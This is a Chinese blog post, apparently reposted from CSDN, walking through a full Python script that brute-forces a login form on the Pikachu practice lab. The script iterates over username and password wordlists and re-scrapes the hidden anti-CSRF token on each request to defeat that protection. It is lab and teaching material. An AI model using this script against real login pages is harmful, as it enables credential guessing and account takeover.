2

Python暴力破解网站登录密码(带token验证)

 2 years ago
source link: https://blog.csdn.net/weixin_49125123/article/details/122794669
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

上一篇暴力破解文章:一个简单的Python暴力破解网站登录密码脚本

测试靶机为Pikachu漏洞练习平台暴力破解模块下的 “token防爆破?”

春节期间歇了一阵子,吃睡玩看小说。写这个脚本的起因是因为burp设置带token的暴力破解我只会用pitchfork草叉模式,要是用cluster bomb集束炸弹模式笛卡儿积那样就不会了,所以就干脆把之前写的脚本加了点东西实现这个功能了,到时候有空再学学多线程,爆破速度就更快了。

在这里插入图片描述

关键代码解释

设置请求头

5~11行:指定url地址和请求头,user_token设置首次发送请求包时的token值。

url = "http://192.168.171.30/pikachu/vul/burteforce/bf_token.php"
user_token = '8680761fe979039a6f836599906'
header = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0',
    'Cookie': 'PHPSESSID=17u0i2fakm84eq9oc24boc8715'
}

get_token函数获取token值

13~16行:这个函数返回从响应包中获取的token

在http响应包中有一个隐藏的标签里面有token值:

<input type="hidden" name="token" value="5874161fe8db950ca7993759020" />

第15行:soup.select查找标签名为input,name为token的元素的value的值。

def get_token(r):
    soup = BeautifulSoup(r.text, 'html.parser')
    user_token = soup.select('input[name="token"]')[0]['value']
    return user_token

完整代码:

from bs4 import BeautifulSoup
import requests
from requests.models import Response

url = "http://192.168.171.30/pikachu/vul/burteforce/bf_token.php"
user_token = '8680761fe979039a6f836599906'
#proxies = {"http": "http://127.0.0.1:8080"}  # 代理设置,方便burp抓包查看和调试
header = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0',
    'Cookie': 'PHPSESSID=17u0i2fakm84eq9oc24boc8715'
}

def get_token(r):
    soup = BeautifulSoup(r.text, 'html.parser')
    user_token = soup.select('input[name="token"]')[0]['value']
    return user_token

if __name__ == "__main__":
    f = open('result.csv', 'w')     #把爆破结果储存到文件里,这里为csv格式
    f.write('用户名' + ',' + '密码' + ',' + '包长度' + '\n')    #给文件设置标题

    #遍历字典文件,Cluster bomb 暴力破解
    for admin in open("C:\\Users\\admin\\Documents\\字典\\账号.txt"):
        for line in open("C:\\Users\\admin\\Documents\\字典\\密码.txt"):
            username = admin.strip()
            password = line.strip()
            payload = {     #payload为POST的数据
                'username': username,
                'password': password,
                'token': user_token,
                'submit': 'Login'
            }

            Response = requests.post(url, data=payload, headers=header)
            result = username + ',' + password + ',' + str(len(Response.text))  #用户名密码以及响应包长度

            print(result)           #输出到终端
            f.write(result + '\n')  #输出到文件
            user_token = get_token(Response)    #调用get_token函数获取下一次循环需要的token
    print('\n---完成---\n')
    f.close()

运行结果:

在这里插入图片描述

查看保存的文件,查看包长度与其他不一样的数据

这里csv不会显示前缀会自动去掉首位0,可以把文件改成txt格式就正常显示了

在这里插入图片描述
尝试登陆一下,登录成功。

在这里插入图片描述


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK